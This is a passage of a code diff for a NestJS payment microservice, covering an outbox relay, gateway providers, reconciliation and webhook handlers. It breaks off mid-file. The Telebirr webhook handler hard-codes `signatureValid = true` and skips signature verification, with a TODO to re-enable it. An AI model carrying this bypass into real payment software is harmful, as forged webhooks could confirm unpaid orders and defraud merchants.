@@ +import { Column, Entity, Index } from "typeorm"; +import { BaseEntity } from "@edr/api-common"; +import { + PaymentEvent, + PaymentEventType, + PaymentReferenceType, + PaymentService, +} from "@edr/types"; + +export type OutboxStatus = "PENDING" | "SENT" | "FAILED"; + +/** + * Transactional outbox: a row is inserted in the SAME transaction that finalizes an intent, + * so "payment succeeded" and "a notification is owed" commit or roll back together. The relay + * drains PENDING rows and retries until acked (at-least-once delivery; consumers are idempotent). + */ +@Entity({ name: "notification_outbox" }) +@Index("idx_notification_outbox_relay", ["status", "nextRetryAt"]) +export class NotificationOutbox extends BaseEntity { + @Column({ name: "event_type", type: "varchar", length: 32 }) + eventType!: PaymentEventType; + + /** Routing discriminator — which app's mark-paid endpoint the relay delivers to. */ + @Column({ name: "service", type: "varchar", length: 16 }) + service!: PaymentService; + + @Index("idx_notification_outbox_intent") + @Column({ name: "intent_id", type: "uuid" }) + intentId!: string; + + @Column({ name: "reference_type", type: "varchar", length: 16 }) + referenceType!: PaymentReferenceType; + + @Column({ name: "reference_id", type: "varchar", length: 64 }) + referenceId!: string; + + /** The full versioned event envelope delivered verbatim to the consumer. */ + @Column({ name: "payload", type: "jsonb" }) + payload!: PaymentEvent; + + @Column({ name: "status", type: "varchar", length: 16, default: "PENDING" }) + status!: OutboxStatus; + + @Column({ name: "attempts", type: "integer", default: 0 }) + attempts!: number; + + @Column({ name: "next_retry_at", type: "timestamptz", nullable: true }) + nextRetryAt?: Date | null; + + @Column({ name: "last_error", type: "text", nullable: true }) + lastError?: string | null; + + @Column({ name: "sent_at", type: "timestamptz", nullable: true }) + sentAt?: Date | null; +} diff --git a/apps/edr-payment-api/src/modules/outbox/outbox-relay.service.ts b/apps/edr-payment-api/src/modules/outbox/outbox-relay.service.ts new file mode 100644 index 000000000..f1d8076a5 --- /dev/null +++ b/apps/edr-payment-api/src/modules/outbox/outbox-relay.service.ts @@ -0,0 +1,119 @@ +import { + Inject, + Injectable, + Logger, + OnModuleDestroy, + OnModuleInit, +} from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { SchedulerRegistry } from "@nestjs/schedule"; +import { NotificationOutbox } from "./entities/notification-outbox.entity"; +import { OutboxRepository } from "./outbox.repository"; +import { + PAYMENT_EVENT_PUBLISHER, + PaymentEventPublisher, +} from "./publisher/payment-event-publisher"; + +const RELAY_INTERVAL_NAME = "outbox-relay"; +/** Retry backoff: base doubles per attempt, capped. */ +const BACKOFF_BASE_MS = 10_000; +const BACKOFF_CAP_MS = 10 * 60_000; + +/** + * Drains the transactional outbox: PENDING rows are published (HTTP now, RabbitMQ later), + * marked SENT on ack, retried with exponential backoff on failure, and flagged FAILED after + * OUTBOX_MAX_ATTEMPTS (an alertable condition — delivery is at-least-once, never dropped + * silently). A crash between commit and publish only delays delivery. + */ +@Injectable() +export class OutboxRelayService implements OnModuleInit, OnModuleDestroy { + private readonly logger = new Logger(OutboxRelayService.name); + private readonly intervalMs: number; + private readonly maxAttempts: number; + private readonly batchSize: number; + private draining = false; + + constructor( + config: ConfigService, + private readonly outboxRepository: OutboxRepository, + private readonly schedulerRegistry: SchedulerRegistry, + @Inject(PAYMENT_EVENT_PUBLISHER) + private readonly publisher: PaymentEventPublisher, + ) { + this.intervalMs = config.get("notifier.relayIntervalMs") ?? 5_000; + this.maxAttempts = config.get("notifier.maxAttempts") ?? 10; + this.batchSize = config.get("notifier.relayBatchSize") ?? 20; + } + + onModuleInit(): void { + const interval = setInterval(() => void this.drain(), this.intervalMs); + this.schedulerRegistry.addInterval(RELAY_INTERVAL_NAME, interval); + } + + onModuleDestroy(): void { + if (this.schedulerRegistry.doesExist("interval", RELAY_INTERVAL_NAME)) { + this.schedulerRegistry.deleteInterval(RELAY_INTERVAL_NAME); + } + } + + /** One relay pass; re-entrant ticks are skipped so slow deliveries don't overlap. */ + async drain(): Promise { + if (this.draining) return; + this.draining = true; + try { + const due = await this.outboxRepository.findDue(this.batchSize); + for (const row of due) { + await this.deliver(row); + } + } catch (err) { + this.logger.error( + `relay pass failed: ${err instanceof Error ? err.message : String(err)}`, + ); + } finally { + this.draining = false; + } + } + + private async deliver(row: NotificationOutbox): Promise { + try { + await this.publisher.publish(row.payload); + await this.outboxRepository.markSent(row.id); + } catch (err) { + const message = this.describeError(err); + const attempts = row.attempts + 1; + const exhausted = attempts >= this.maxAttempts; + const backoffMs = Math.min( + BACKOFF_BASE_MS * 2 ** row.attempts, + BACKOFF_CAP_MS, + ); + await this.outboxRepository.markAttemptFailed( + row, + message, + exhausted ? null : new Date(Date.now() + backoffMs), + exhausted, + ); + if (exhausted) { + // ALERT: a paid order may not be confirmed in the owning app — needs operator action. + this.logger.error( + `outbox ${row.id} (${row.eventType} intent=${row.intentId}) FAILED after ${attempts} attempts: ${message}`, + ); + } else { + this.logger.warn( + `outbox ${row.id} delivery attempt ${attempts} failed (retry in ${backoffMs}ms): ${message}`, + ); + } + } + } + + /** Connection failures surface as AggregateError with an empty message — dig out the code. */ + private describeError(err: unknown): string { + if (err instanceof Error) { + if (err.message) return err.message; + const code = (err as { code?: string }).code; + if (code) return code; + const inner = (err as { errors?: unknown[] }).errors?.[0]; + if (inner instanceof Error && inner.message) return inner.message; + } + return String(err); + } +} diff --git a/apps/edr-payment-api/src/modules/outbox/outbox.module.ts b/apps/edr-payment-api/src/modules/outbox/outbox.module.ts new file mode 100644 index 000000000..85f464afe --- /dev/null +++ b/apps/edr-payment-api/src/modules/outbox/outbox.module.ts @@ -0,0 +1,20 @@ +import { Module } from "@nestjs/common"; +import { HttpModule } from "@nestjs/axios"; +import { TypeOrmModule } from "@nestjs/typeorm"; +import { NotificationOutbox } from "./entities/notification-outbox.entity"; +import { OutboxRelayService } from "./outbox-relay.service"; +import { OutboxRepository } from "./outbox.repository"; +import { HttpPaymentEventPublisher } from "./publisher/http-payment-event-publisher"; +import { PAYMENT_EVENT_PUBLISHER } from "./publisher/payment-event-publisher"; + +@Module({ + imports: [TypeOrmModule.forFeature([NotificationOutbox]), HttpModule], + providers: [ + OutboxRepository, + OutboxRelayService, + // Swap to RabbitPaymentEventPublisher here when the broker lands — nothing else changes. + { provide: PAYMENT_EVENT_PUBLISHER, useClass: HttpPaymentEventPublisher }, + ], + exports: [OutboxRepository], +}) +export class OutboxModule {} diff --git a/apps/edr-payment-api/src/modules/outbox/outbox.repository.ts b/apps/edr-payment-api/src/modules/outbox/outbox.repository.ts new file mode 100644 index 000000000..20000d9c6 --- /dev/null +++ b/apps/edr-payment-api/src/modules/outbox/outbox.repository.ts @@ -0,0 +1,58 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { Repository } from "typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { NotificationOutbox } from "./entities/notification-outbox.entity"; + +@Injectable() +export class OutboxRepository extends BaseRepository { + constructor( + @InjectRepository(NotificationOutbox) + repository: Repository, + ) { + super(repository); + } + + /** + * PENDING rows whose retry time has come, oldest first. The relay runs as a single + * non-overlapping loop per instance; with multiple service instances this should move to a + * SELECT … FOR UPDATE SKIP LOCKED claim. + */ + async findDue(limit: number): Promise { + return this.repository + .createQueryBuilder("outbox") + .where(`outbox.status = 'PENDING'`) + .andWhere( + "(outbox.next_retry_at IS NULL OR outbox.next_retry_at <= now())", + ) + .orderBy("outbox.created_at", "ASC") + .take(limit) + .getMany(); + } + + async markSent(id: string): Promise { + await this.update(id, { + status: "SENT", + sentAt: new Date(), + lastError: null, + }); + } + + async markAttemptFailed( + row: NotificationOutbox, + error: string, + nextRetryAt: Date | null, + exhausted: boolean, + ): Promise { + await this.update(row.id, { + attempts: row.attempts + 1, + lastError: error, + nextRetryAt, + status: exhausted ? "FAILED" : "PENDING", + }); + } + + async countBacklog(): Promise { + return this.repository.count({ where: { status: "PENDING" } }); + } +} diff --git a/apps/edr-payment-api/src/modules/outbox/payment-event.factory.ts b/apps/edr-payment-api/src/modules/outbox/payment-event.factory.ts new file mode 100644 index 000000000..85b67c444 --- /dev/null +++ b/apps/edr-payment-api/src/modules/outbox/payment-event.factory.ts @@ -0,0 +1,66 @@ +import { randomUUID } from "node:crypto"; +import { + PaymentEvent, + PaymentFailedEvent, + PaymentSucceededEvent, +} from "@edr/types"; +import { PaymentIntent } from "../intents/entities/payment-intent.entity"; +import { NotificationOutbox } from "./entities/notification-outbox.entity"; + +/** + * Build a ready-to-insert outbox row for a terminal intent. Pure (no DI) so the intents + * state machine can insert it inside its own DB transaction without a module cycle. + * The row id is generated here because the event envelope embeds it as `eventId`. + */ +export function buildOutboxRow( + intent: PaymentIntent, + terminal: + | { eventType: "payment.succeeded"; providerTxnId?: string; paidAt: Date } + | { + eventType: "payment.failed"; + failureCode?: string; + failureMessage?: string; + }, +): Partial { + const id = randomUUID(); + const base = { + version: 1 as const, + eventId: id, + occurredAt: new Date().toISOString(), + service: intent.service, + intentId: intent.id, + referenceType: intent.referenceType, + referenceId: intent.referenceId, + merchantOrderId: intent.merchantOrderId, + provider: intent.provider, + amountMinor: intent.amountMinor, + currency: intent.currency, + }; + + const event: PaymentEvent = + terminal.eventType === "payment.succeeded" + ? ({ + ...base, + eventType: "payment.succeeded", + providerTxnId: terminal.providerTxnId, + paidAt: terminal.paidAt.toISOString(), + } satisfies PaymentSucceededEvent) + : ({ + ...base, + eventType: "payment.failed", + failureCode: terminal.failureCode, + failureMessage: terminal.failureMessage, + } satisfies PaymentFailedEvent); + + return { + id, + eventType: event.eventType, + service: intent.service, + intentId: intent.id, + referenceType: intent.referenceType, + referenceId: intent.referenceId, + payload: event, + status: "PENDING", + attempts: 0, + }; +} diff --git a/apps/edr-payment-api/src/modules/outbox/publisher/http-payment-event-publisher.ts b/apps/edr-payment-api/src/modules/outbox/publisher/http-payment-event-publisher.ts new file mode 100644 index 000000000..867119d09 --- /dev/null +++ b/apps/edr-payment-api/src/modules/outbox/publisher/http-payment-event-publisher.ts @@ -0,0 +1,53 @@ +import { Injectable, Logger } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { HttpService } from "@nestjs/axios"; +import { firstValueFrom } from "rxjs"; +import { PaymentEvent, PaymentService } from "@edr/types"; +import { PaymentEventPublisher } from "./payment-event-publisher"; + +/** + * Delivers events by POSTing to the owning app's idempotent mark-paid endpoint, routed by + * the `service` discriminator. Authenticated with the shared service token (the same secret + * the apps use to call /payments/initiate). + */ +@Injectable() +export class HttpPaymentEventPublisher implements PaymentEventPublisher { + private readonly logger = new Logger(HttpPaymentEventPublisher.name); + private readonly routes: Record; + private readonly timeoutMs: number; + private readonly serviceToken: string; + + constructor( + config: ConfigService, + private readonly http: HttpService, + ) { + this.routes = { + [PaymentService.PASSENGER]: + config.get("notifier.passengerUrl") ?? "", + [PaymentService.FREIGHT]: config.get("notifier.freightUrl") ?? "", + }; + this.timeoutMs = config.get("notifier.httpTimeoutMs") ?? 10_000; + this.serviceToken = config.get("app.serviceAuthToken") ?? ""; + } + + async publish(event: PaymentEvent): Promise { + const url = this.routes[event.service]; + if (!url) { + throw new Error( + `No mark-paid URL configured for service ${event.service}`, + ); + } + + const response = await firstValueFrom( + this.http.post(url, event, { + timeout: this.timeoutMs, + headers: this.serviceToken + ? { "x-service-token": this.serviceToken } + : {}, + }), + ); + this.logger.log( + `delivered ${event.eventType} (${event.eventId}) to ${event.service} — HTTP ${response.status}`, + ); + } +} diff --git a/apps/edr-payment-api/src/modules/outbox/publisher/payment-event-publisher.ts b/apps/edr-payment-api/src/modules/outbox/publisher/payment-event-publisher.ts new file mode 100644 index 000000000..7586c1509 --- /dev/null +++ b/apps/edr-payment-api/src/modules/outbox/publisher/payment-event-publisher.ts @@ -0,0 +1,13 @@ +import { PaymentEvent } from "@edr/types"; + +/** + * Publisher port (architecture.md §12): how a payment event leaves this service. + * HTTP implementation now; a RabbitMQ implementation later is a DI swap only — the outbox + * and relay stay exactly as they are. + */ +export interface PaymentEventPublisher { + /** Deliver one event; throw on failure so the relay can retry with backoff. */ + publish(event: PaymentEvent): Promise; +} + +export const PAYMENT_EVENT_PUBLISHER = Symbol("PAYMENT_EVENT_PUBLISHER"); diff --git a/apps/edr-payment-api/src/modules/providers/providers.module.ts b/apps/edr-payment-api/src/modules/providers/providers.module.ts new file mode 100644 index 000000000..af2983ee4 --- /dev/null +++ b/apps/edr-payment-api/src/modules/providers/providers.module.ts @@ -0,0 +1,46 @@ +import { Module } from "@nestjs/common"; +import { HttpModule } from "@nestjs/axios"; +import { + CardProvider, + CbeBirrProvider, + DMoneyProvider, + EBirrProvider, + PaymentProvider, + TelebirrProvider, + WaafiProvider, +} from "@edr/payment-providers"; +import { ProviderMethod } from "@edr/types"; + +/** Injection token for the Map used to select a gateway. */ +export const PAYMENT_PROVIDER_MAP = Symbol("PAYMENT_PROVIDER_MAP"); + +export type PaymentProviderMap = Map; + +const providerClasses = [ + TelebirrProvider, + CbeBirrProvider, + EBirrProvider, + CardProvider, + WaafiProvider, + DMoneyProvider, +]; + +/** + * Thin DI wiring around @edr/payment-providers — the exact provider set the passenger app + * used to construct, relocated here. After cutover this service is the only consumer of the + * provider SDK and of the provider secrets (config/{waafi,telebirr,…}.config.ts). + */ +@Module({ + imports: [HttpModule.register({ timeout: 10_000 })], + providers: [ + ...providerClasses, + { + provide: PAYMENT_PROVIDER_MAP, + useFactory: (...providers: PaymentProvider[]): PaymentProviderMap => + new Map(providers.map((provider) => [provider.method, provider])), + inject: providerClasses, + }, + ], + exports: [PAYMENT_PROVIDER_MAP, ...providerClasses], +}) +export class ProvidersModule {} diff --git a/apps/edr-payment-api/src/modules/reconciliation/reconciliation.module.ts b/apps/edr-payment-api/src/modules/reconciliation/reconciliation.module.ts new file mode 100644 index 000000000..b424dcfec --- /dev/null +++ b/apps/edr-payment-api/src/modules/reconciliation/reconciliation.module.ts @@ -0,0 +1,10 @@ +import { Module } from "@nestjs/common"; +import { IntentsModule } from "../intents/intents.module"; +import { ProvidersModule } from "../providers/providers.module"; +import { ReconciliationService } from "./reconciliation.service"; + +@Module({ + imports: [IntentsModule, ProvidersModule], + providers: [ReconciliationService], +}) +export class ReconciliationModule {} diff --git a/apps/edr-payment-api/src/modules/reconciliation/reconciliation.service.ts b/apps/edr-payment-api/src/modules/reconciliation/reconciliation.service.ts new file mode 100644 index 000000000..5216798f2 --- /dev/null +++ b/apps/edr-payment-api/src/modules/reconciliation/reconciliation.service.ts @@ -0,0 +1,114 @@ +import { + Inject, + Injectable, + Logger, + OnModuleDestroy, + OnModuleInit, +} from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { SchedulerRegistry } from "@nestjs/schedule"; +import { ProviderPaymentStatus } from "@edr/types"; +import { + PAYMENT_PROVIDER_MAP, + PaymentProviderMap, +} from "../providers/providers.module"; +import { PaymentIntent } from "../intents/entities/payment-intent.entity"; +import { IntentsRepository } from "../intents/intents.repository"; +import { IntentsService } from "../intents/intents.service"; + +const SWEEP_INTERVAL_NAME = "reconciliation-sweep"; + +/** + * Safety net (architecture.md §7.4): webhooks get lost, users abandon hosted pages. The sweep + * queries the provider for stale non-terminal intents and feeds the answer through the same + * state machine the webhooks use; intents whose provider session expired are CANCELLED. + */ +@Injectable() +export class ReconciliationService implements OnModuleInit, OnModuleDestroy { + private readonly logger = new Logger(ReconciliationService.name); + private readonly intervalMs: number; + private readonly staleAfterMs: number; + private readonly batchSize: number; + private sweeping = false; + + constructor( + config: ConfigService, + private readonly intentsRepository: IntentsRepository, + private readonly intentsService: IntentsService, + private readonly schedulerRegistry: SchedulerRegistry, + @Inject(PAYMENT_PROVIDER_MAP) + private readonly providers: PaymentProviderMap, + ) { + this.intervalMs = + config.get("app.reconciliation.sweepIntervalMs") ?? 60_000; + this.staleAfterMs = + config.get("app.reconciliation.staleAfterMs") ?? 60_000; + this.batchSize = config.get("app.reconciliation.batchSize") ?? 20; + } + + onModuleInit(): void { + const interval = setInterval(() => void this.sweep(), this.intervalMs); + this.schedulerRegistry.addInterval(SWEEP_INTERVAL_NAME, interval); + } + + onModuleDestroy(): void { + if (this.schedulerRegistry.doesExist("interval", SWEEP_INTERVAL_NAME)) { + this.schedulerRegistry.deleteInterval(SWEEP_INTERVAL_NAME); + } + } + + async sweep(): Promise { + if (this.sweeping) return; + this.sweeping = true; + try { + const cutoff = new Date(Date.now() - this.staleAfterMs); + const stale = await this.intentsRepository.findStale( + cutoff, + this.batchSize, + ); + for (const intent of stale) { + await this.reconcileIntent(intent); + } + } catch (err) { + this.logger.error( + `sweep failed: ${err instanceof Error ? err.message : String(err)}`, + ); + } finally { + this.sweeping = false; + } + } + + private async reconcileIntent(intent: PaymentIntent): Promise { + try { + const provider = this.providers.get(intent.provider); + if (provider) { + const status = await provider.queryStatus(intent.merchantOrderId); + const result = this.intentsService.fromProviderStatus(status); + if (result.status !== intent.status || result.providerTxnId) { + await this.intentsService.applyProviderResult(intent.id, result); + } + if ( + result.status === ProviderPaymentStatus.SUCCEEDED || + result.status === ProviderPaymentStatus.FAILED || + result.status === ProviderPaymentStatus.CANCELLED + ) { + this.logger.log(`reconciled intent ${intent.id} → ${result.status}`); + return; + } + } + + // Provider still says pending (or is unknown): expire only once the session is dead. + if (intent.expiresAt && intent.expiresAt.getTime() < Date.now()) { + await this.intentsService.expireIntent(intent.id); + this.logger.log( + `expired abandoned intent ${intent.id} (${intent.merchantOrderId})`, + ); + } + } catch (err) { + // Per-intent failures must not stall the sweep; the row stays stale and is retried. + this.logger.warn( + `reconcile failed for intent ${intent.id}: ${err instanceof Error ? err.message : String(err)}`, + ); + } + } +} diff --git a/apps/edr-payment-api/src/modules/webhooks/entities/payment-webhook-event.entity.ts b/apps/edr-payment-api/src/modules/webhooks/entities/payment-webhook-event.entity.ts new file mode 100644 index 000000000..2e104bf17 --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/entities/payment-webhook-event.entity.ts @@ -0,0 +1,57 @@ +import { Column, Entity, Index } from "typeorm"; +import { BaseEntity } from "@edr/api-common"; +import { ProviderMethod } from "@edr/types"; + +/** + * Idempotency + audit record for every inbound provider webhook. The unique + * (provider, external_event_id) pair is the dedupe key: a duplicate insert hits the unique + * violation and the handler short-circuits with a 200 ack. + */ +@Entity({ name: "payment_webhook_event" }) +@Index("uq_payment_webhook_event_external", ["provider", "externalEventId"], { + unique: true, +}) +export class PaymentWebhookEvent extends BaseEntity { + @Column({ name: "provider", type: "varchar", length: 16 }) + provider!: ProviderMethod; + + /** Provider event id when given (e.g. Waafi X-Webhook-Event-Id), else derived from the payload. */ + @Column({ name: "external_event_id", type: "varchar", length: 191 }) + externalEventId!: string; + + @Column({ + name: "merchant_order_id", + type: "varchar", + length: 64, + nullable: true, + }) + merchantOrderId?: string | null; + + @Column({ + name: "provider_txn_id", + type: "varchar", + length: 128, + nullable: true, + }) + providerTxnId?: string | null; + + @Column({ name: "signature_valid", type: "boolean", default: false }) + signatureValid!: boolean; + + /** Raw provider status string as sent (pre-mapping). */ + @Column({ name: "status", type: "varchar", length: 64, nullable: true }) + status?: string | null; + + /** Full webhook body — hostile input, stored verbatim for audit/replay analysis. */ + @Column({ name: "payload", type: "jsonb" }) + payload!: Record; + + @Column({ name: "received_at", type: "timestamptz", default: () => "now()" }) + receivedAt!: Date; + + @Column({ name: "processed_at", type: "timestamptz", nullable: true }) + processedAt?: Date | null; + + @Column({ name: "processing_error", type: "text", nullable: true }) + processingError?: string | null; +} diff --git a/apps/edr-payment-api/src/modules/webhooks/handlers/card-webhook.service.ts b/apps/edr-payment-api/src/modules/webhooks/handlers/card-webhook.service.ts new file mode 100644 index 000000000..8f9c9a9ab --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/handlers/card-webhook.service.ts @@ -0,0 +1,35 @@ +import { Injectable } from "@nestjs/common"; +import { CardProvider, CardWebhookPayload } from "@edr/payment-providers"; +import { WebhookProcessorService } from "../webhook-processor.service"; + +@Injectable() +export class CardWebhookService { + constructor( + private readonly provider: CardProvider, + private readonly processor: WebhookProcessorService, + ) {} + + async handle(payload: CardWebhookPayload, signature: string): Promise { + const signatureValid = this.provider.verifyWebhookSignature( + payload as unknown as Record, + signature, + ); + const object = payload.data.object; + const mapped = this.provider.mapWebhookStatus(object.status); + + await this.processor.process({ + provider: this.provider.method, + externalEventId: `${payload.id}_${payload.type}`, + merchantOrderId: object.metadata.merchantOrderId, + providerTxnId: object.transaction_id, + signatureValid, + rawStatus: object.status, + payload: payload as unknown as Record, + result: { + status: mapped, + providerTxnId: object.transaction_id, + failureCode: object.status, + }, + }); + } +} diff --git a/apps/edr-payment-api/src/modules/webhooks/handlers/cbe-birr-webhook.service.ts b/apps/edr-payment-api/src/modules/webhooks/handlers/cbe-birr-webhook.service.ts new file mode 100644 index 000000000..6621aa3b2 --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/handlers/cbe-birr-webhook.service.ts @@ -0,0 +1,30 @@ +import { Injectable } from "@nestjs/common"; +import { CbeBirrProvider, CbeBirrWebhookPayload } from "@edr/payment-providers"; +import { WebhookProcessorService } from "../webhook-processor.service"; + +@Injectable() +export class CbeBirrWebhookService { + constructor( + private readonly provider: CbeBirrProvider, + private readonly processor: WebhookProcessorService, + ) {} + + async handle(payload: CbeBirrWebhookPayload): Promise { + const signatureValid = this.provider.verifyWebhookSignature( + payload as unknown as Record, + ); + const mapped = this.provider.mapWebhookStatus(payload.status); + const providerTxnId = payload.transactionId ?? payload.orderId; + + await this.processor.process({ + provider: this.provider.method, + externalEventId: `${payload.orderId}_${payload.status}`, + merchantOrderId: payload.merchantOrderId, + providerTxnId, + signatureValid, + rawStatus: payload.status, + payload: payload as unknown as Record, + result: { status: mapped, providerTxnId, failureCode: payload.status }, + }); + } +} diff --git a/apps/edr-payment-api/src/modules/webhooks/handlers/dmoney-webhook.service.ts b/apps/edr-payment-api/src/modules/webhooks/handlers/dmoney-webhook.service.ts new file mode 100644 index 000000000..51937dee4 --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/handlers/dmoney-webhook.service.ts @@ -0,0 +1,34 @@ +import { Injectable } from "@nestjs/common"; +import { DMoneyProvider, DMoneyWebhookPayload } from "@edr/payment-providers"; +import { WebhookProcessorService } from "../webhook-processor.service"; + +@Injectable() +export class DMoneyWebhookService { + constructor( + private readonly provider: DMoneyProvider, + private readonly processor: WebhookProcessorService, + ) {} + + async handle(payload: DMoneyWebhookPayload): Promise { + const signatureValid = this.provider.verifyWebhookSignature( + payload as unknown as Record, + ); + const mapped = this.provider.mapWebhookStatus(payload.status); + + await this.processor.process({ + provider: this.provider.method, + externalEventId: `${payload.orderId}_${payload.status}`, + merchantOrderId: payload.merchantOrderId, + providerTxnId: payload.transactionId, + signatureValid, + rawStatus: payload.status, + payload: payload as unknown as Record, + result: { + status: mapped, + providerTxnId: payload.transactionId, + paidAt: payload.paidAt ? new Date(payload.paidAt) : undefined, + failureCode: payload.status, + }, + }); + } +} diff --git a/apps/edr-payment-api/src/modules/webhooks/handlers/ebirr-webhook.service.ts b/apps/edr-payment-api/src/modules/webhooks/handlers/ebirr-webhook.service.ts new file mode 100644 index 000000000..3f8b923cd --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/handlers/ebirr-webhook.service.ts @@ -0,0 +1,33 @@ +import { Injectable } from "@nestjs/common"; +import { EBirrProvider, EBirrWebhookPayload } from "@edr/payment-providers"; +import { WebhookProcessorService } from "../webhook-processor.service"; + +@Injectable() +export class EBirrWebhookService { + constructor( + private readonly provider: EBirrProvider, + private readonly processor: WebhookProcessorService, + ) {} + + async handle(payload: EBirrWebhookPayload): Promise { + const signatureValid = this.provider.verifyWebhookSignature( + payload as unknown as Record, + ); + const mapped = this.provider.mapWebhookStatus(payload.tradeStatus); + + await this.processor.process({ + provider: this.provider.method, + externalEventId: `${payload.orderNo}_${payload.tradeStatus}_${payload.timestamp}`, + merchantOrderId: payload.orderNo, + providerTxnId: payload.tradeNo, + signatureValid, + rawStatus: payload.tradeStatus, + payload: payload as unknown as Record, + result: { + status: mapped, + providerTxnId: payload.tradeNo, + failureCode: payload.tradeStatus, + }, + }); + } +} diff --git a/apps/edr-payment-api/src/modules/webhooks/handlers/telebirr-webhook.service.ts b/apps/edr-payment-api/src/modules/webhooks/handlers/telebirr-webhook.service.ts new file mode 100644 index 000000000..e207e1d21 --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/handlers/telebirr-webhook.service.ts @@ -0,0 +1,46 @@ +import { Injectable } from "@nestjs/common"; +import { + TelebirrProvider, + TelebirrWebhookPayload, +} from "@edr/payment-providers"; +import { WebhookProcessorService } from "../webhook-processor.service"; + +@Injectable() +export class TelebirrWebhookService { + constructor( + private readonly provider: TelebirrProvider, + private readonly processor: WebhookProcessorService, + ) {} + + async handle(payload: TelebirrWebhookPayload): Promise { + // TODO: re-enable Telebirr public-key signature verification — skipped for now + // (carried over from the passenger handler; see telebirr.provider verifyWebhookSignature). + const signatureValid = true; + + const mapped = this.provider.mapWebhookTradeStatus(payload.trade_status); + const providerTxnId = payload.trans_id ?? payload.payment_order_id; + + await this.processor.process({ + provider: this.provider.method, + externalEventId: `${payload.payment_order_id}_${payload.trade_status}`, + merchantOrderId: payload.merch_order_id, + providerTxnId, + signatureValid, + rawStatus: payload.trade_status, + payload: payload as unknown as Record, + result: { + status: mapped, + providerTxnId, + paidAt: this.parseEpochSeconds(payload.trans_end_time), + failureCode: payload.trade_status, + }, + }); + } + + private parseEpochSeconds(raw: string | undefined): Date | undefined { + if (!raw) return undefined; + const n = parseInt(raw, 10); + if (Number.isNaN(n)) return undefined; + return new Date(n * 1000); + } +} diff --git a/apps/edr-payment-api/src/modules/webhooks/handlers/waafi-webhook.service.ts b/apps/edr-payment-api/src/modules/webhooks/handlers/waafi-webhook.service.ts new file mode 100644 index 000000000..232957f79 --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/handlers/waafi-webhook.service.ts @@ -0,0 +1,82 @@ +import { Injectable, Logger } from "@nestjs/common"; +import { + WaafiProvider, + WaafiWebhookHeaders, + WaafiWebhookPayload, +} from "@edr/payment-providers"; +import { WebhookProcessorService } from "../webhook-processor.service"; + +/** Reject webhooks whose timestamp is older than this (replay protection). */ +const WAAFI_REPLAY_WINDOW_SECONDS = 300; + +@Injectable() +export class WaafiWebhookService { + private readonly logger = new Logger(WaafiWebhookService.name); + + constructor( + private readonly provider: WaafiProvider, + private readonly processor: WebhookProcessorService, + ) {} + + async handle( + payload: WaafiWebhookPayload, + rawBody: string, + headers: WaafiWebhookHeaders, + ): Promise { + // Unsigned validation ping sent on registration — acknowledge without verifying or persisting. + if (payload.event === "webhook.test") { + this.logger.log("Waafi webhook.test ping received"); + return; + } + + const { payment } = payload; + const eventId = headers["x-webhook-event-id"]; + const timestamp = headers["x-webhook-timestamp"]; + const signature = headers["x-webhook-signature"]; + + const signatureValid = + this.isFresh(timestamp) && + this.provider.verifyWebhookSignature( + rawBody, + signature, + timestamp, + eventId, + ); + + const mapped = this.provider.mapWebhookStatus(payment.status); + + await this.processor.process({ + provider: this.provider.method, + // X-Webhook-Event-Id is unique per event; fall back to a derived id if absent. + externalEventId: eventId ?? `${payment.transaction_id}_${payment.status}`, + merchantOrderId: payment.reference_id, + providerTxnId: payment.transaction_id, + signatureValid, + rawStatus: payment.status, + payload: payload as unknown as Record, + result: { + status: mapped, + providerTxnId: payment.transaction_id, + paidAt: this.parseDate(payment.date), + failureCode: payment.status, + failureMessage: payment.description, + }, + }); + } + + /** True when the webhook timestamp (unix seconds) is within the replay window. */ + private isFresh(timestamp: string | undefined): boolean { + if (!timestamp) return false; + const ts = parseInt(timestamp, 10); + if (Number.isNaN(ts)) return false; + const now = Math.floor(Date.now() / 1000); + return Math.abs(now - ts) <= WAAFI_REPLAY_WINDOW_SECONDS; + } + + /** Parse Waafi's "YYYY-MM-DD HH:mm:ss" payment date; undefined when unparseable. */ + private parseDate(raw: string | undefined): Date | undefined { + if (!raw) return undefined; + const d = new Date(raw); + return Number.isNaN(d.getTime()) ? undefined : d; + } +} diff --git a/apps/edr-payment-api/src/modules/webhooks/webhook-events.repository.ts b/apps/edr-payment-api/src/modules/webhooks/webhook-events.repository.ts new file mode 100644 index 000000000..7d4aeff95 --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/webhook-events.repository.ts @@ -0,0 +1,44 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { QueryFailedError, Repository } from "typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { PaymentWebhookEvent } from "./entities/payment-webhook-event.entity"; + +const PG_UNIQUE_VIOLATION = "23505"; + +@Injectable() +export class WebhookEventsRepository extends BaseRepository { + constructor( + @InjectRepository(PaymentWebhookEvent) + repository: Repository, + ) { + super(repository); + } + + /** + * Insert the event, relying on the unique (provider, external_event_id) index for dedupe. + * Returns null when the event was already recorded (duplicate delivery / provider replay). + */ + async createDeduped( + data: Partial, + ): Promise { + try { + return await this.create(data); + } catch (err) { + if ( + err instanceof QueryFailedError && + (err.driverError as { code?: string })?.code === PG_UNIQUE_VIOLATION + ) { + return null; + } + throw err; + } + } + + async markProcessed(id: string, processingError?: string): Promise { + await this.update(id, { + processedAt: new Date(), + processingError: processingError ?? null, + }); + } +} diff --git a/apps/edr-payment-api/src/modules/webhooks/webhook-processor.service.ts b/apps/edr-payment-api/src/modules/webhooks/webhook-processor.service.ts new file mode 100644 index 000000000..6be66b705 --- /dev/null +++ b/apps/edr-payment-api/src/modules/webhooks/webhook-processor.service.ts @@ -0,0 +1,112 @@ +import { Injectable, Logger } from "@nestjs/common"; +import { + MERCHANT_ORDER_PREFIX, + PaymentService, + ProviderMethod, +} from "@edr/types"; +import { IntentsRepository } from 